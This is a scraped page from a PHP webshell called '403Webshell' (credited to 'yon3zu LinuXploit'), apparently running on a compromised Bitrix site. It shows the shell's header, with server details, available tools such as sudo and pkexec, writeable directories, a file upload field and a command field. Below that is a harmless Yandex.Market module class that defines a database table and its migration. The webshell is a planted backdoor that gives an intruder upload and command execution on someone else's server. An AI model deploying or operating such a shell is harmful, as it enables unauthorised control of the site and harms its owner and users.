403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/yandex.market/lib/watcher/track/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/yandex.market/lib/watcher/track/source.php
<?php
namespace Yandex\Market\Watcher\Track;

use Bitrix\Main;
use Yandex\Market;

class SourceTable extends Market\Reference\Storage\Table
{
    public static function getTableName()
    {
        return 'yamarket_export_track';
    }

    public static function createIndexes(Main\DB\Connection $connection)
    {
        $tableName = static::getTableName();

        $connection->createIndex($tableName, 'IX_' . $tableName . '_1', [ 'SERVICE', 'ENTITY_TYPE', 'ENTITY_ID' ]);
        $connection->createIndex($tableName, 'IX_' . $tableName . '_2', [ 'SOURCE_TYPE' ]);
    }

    public static function getMap()
    {
        return [
            new Main\Entity\IntegerField('ID', [
                'autocomplete' => true,
                'primary' => true
            ]),
            new Main\Entity\EnumField('SERVICE', [
                'required' => true,
                'values' => [
                    Market\Glossary::SERVICE_EXPORT,
                    Market\Glossary::SERVICE_SALES_BOOST,
                    Market\Glossary::SERVICE_CATALOG,
                ]
            ]),
            new Main\Entity\EnumField('ENTITY_TYPE', [
                'required' => true,
                'values' => [
	                Market\Glossary::ENTITY_SETUP,
                    Market\Export\Glossary::ENTITY_PROMO,
                    Market\Export\Glossary::ENTITY_COLLECTION,
                ]
            ]),
            new Main\Entity\IntegerField('ENTITY_ID', [
                'required' => true
            ]),
            new Main\Entity\StringField('SOURCE_TYPE', [
                'required' => true,
                'validation' => function() {
	                return [
		                new Main\Entity\Validator\Length(null, 40)
	                ];
                },
            ]),
            new Main\Entity\StringField(
            	'SOURCE_PARAMS',
	            Market\Reference\Storage\Field\Serializer::getParameters()
            ),
        ];
    }

	public static function migrate(Main\DB\Connection $connection)
	{
		$sqlHelper = $connection->getSqlHelper();
		$tableName = static::getTableName();
		$known = $connection->getTableFields($tableName);

		parent::migrate($connection);
		Market\Migration\StorageFacade::updateFieldsLength($connection, static::getEntity(), [
			'SERVICE',
			'ENTITY_TYPE',
		]);

		if (!isset($known['SERVICE']))
		{
			$indexName = 'IX_' . $tableName . '_1';

			$connection->queryExecute(sprintf(
				'UPDATE %s SET %s="%s"',
				$sqlHelper->quote($tableName),
				$sqlHelper->quote('SERVICE'),
				$sqlHelper->forSql(Market\Glossary::SERVICE_EXPORT)
			));

			$connection->query(sprintf('DROP INDEX %s ON %s', $sqlHelper->quote($indexName),  $sqlHelper->quote($tableName)));
			$connection->createIndex($tableName, $indexName, [ 'SERVICE', 'ENTITY_TYPE', 'ENTITY_ID' ]);
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit